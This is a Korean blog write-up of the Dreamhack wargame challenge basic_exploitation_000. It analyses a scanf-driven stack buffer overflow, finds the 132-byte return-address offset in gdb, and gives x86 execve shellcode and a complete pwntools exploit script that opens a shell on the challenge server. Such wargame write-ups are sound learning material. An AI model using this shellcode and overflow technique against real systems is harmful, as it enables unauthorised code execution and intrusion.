System Hacking/DreamHack

[Dreamhack] basic_exploitation_000

hanbunny 2025. 3. 13. 17:31

Description

이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.


소스코드 분석

 

먼저 main()함수를 살펴보면

buf 크기는 0x80(128바이트)이지만 scanf("%141s", buf)를 사용해 최대 141바이트를 입력받을 수 있다.

buf의 크기보다 더 많은 데이터를 입력받을 수 있어서 오버 플로우 발생이 가능하다.

 

initialize()함수를 보면

alarm(30);을 호출해서 30초 후에 SIGALRM 시그널이 발생하도록 설정돼있다.

SIGALRM이 발생하면 alarm_handler()가 실행되고 "TIME OUT"을 출력한 후 exit(-1);로 프로그램을 종료한다.

 

즉, BOF 발생 가능 포인트

scanf를 사용하여 버퍼 크기를 초과하는 데이터를 입력받을 수 있음.

스택을 오버플로우 시키고 리턴 주소를 조작해 shell에 접근 가능함.

 


Disassemble

이제 gdb로 디스어셈블해서 볼거임.

# gdb로 basic_exploitation_000 실행
$ gdb -q ./basic_exploitation_000

#main함수 디스어셈블
pwndbg> disass main

 

버퍼 할당

add esp, 0xffffff80(-128)   :   esp를 0xffffff80(-128) 만큼 감소시킴.

그리고  buf는 [ebp-0x80]에 할당된다.

 

buf 주소 출력

lea        eax, [ebp-0x80] : buf 주소를 eax에 저장

push    eax   : buf주소를 스택에 push

push    0x8048699   : 문자열 "buf = (%p)\n"의 주소 push

call      0x80483f0 <printf@plt>   : printf 호출

 

buf 주소를 그대로 저장해서 printf로 출력해준다.  실제로 실행해보면

이런식으로 바로 출력됨.

 

scanf

lea        eax, [ebp-0x80] : eax = buf의 주소

push    eax   : buf주소를 스택에 push

push    0x8048699   : 포맷 문자열 주소 push ("%141s")

call      0x80483f0 <printf@plt>   : scanf 호출

 

 

 

전체 함수에 shell을 실행하는 함수가 없어서 shellcode를 따로 넣어줘야한다.

그리고 변수 buf에 넣어준 후  리턴해서 돌아왔을 때 shell이 실행될 수 있게 해줄거임.

 

그렇게 하기 위해선 먼저 리턴주소를 덮어쓰는 위치를 찾아서 RET에 buf의 주소를 써야한다.


Exploit

리턴주소 위치 찾기.

★ 32bit 바이너리는 [buffer] +[SFP] 4바이트 + [RET] 4바이트 로 구성.

★ buf의 128바이트 + 덮어 쓸 SFP 4바이트  = 총 132바이트가 필요.

★ 따라서 리턴 주소까지 도달하기위한 거리는 132바이트가 됨.

 

132바이트를 채운 후 리턴주소값에 buf주소를 넣어주면 된다.

 

Shellcode.

shellcode는 직접 코드를 짜서 사용할 수도 있지만

난 못 짜기 때문에 기본적으로 사용되는 x86(32비트) 시스템용 shellcode를 사용함.

 

#Shellcode
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

 

이 쉘코드는 26바이튼데 그럼 우리가 나머지 값들로 채워야하는건 132바이트 - 26바이트 = 106바이트임.

 

 

Payload

이제  페이로드 작성 후 pwntools를 이용해 원격으로 BOF를 실행해볼거다.

from pwn import *

# 로컬 실행 및 원격 서버 연결
p = process('./basic_exploitation_000')
p = remote('host3.dreamhack.games', 13683)

# 버퍼 스택 주소 수신 후 저장
buf = int(p.recv()[7:17], 16)

# shellcode
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

# 페이로드 구성
payload = shellcode
payload += b'A'*(132-len(shellcode)) 
payload += p32(buf)

# 페이로드 전송 및 셸 획득
p.sendline(payload)
p.interactive()

 

페이로드를 보면 아까 구했던 132바이트에서 shellcode크기인 26바이트를 제외한 나머지 공간을 전부 'A'로 채움.

후에 p32(buf)로 32비트 정수를 리틀 엔디언 형식의 바이트로 변환 후 전송한다.

 

$ python3 shellcode.py

 

완성한 후 리눅스로 파일 실행해주면 shell 이 열림.

거기에 ls와 cat 명령어로 flag를 얻을 수 있었음.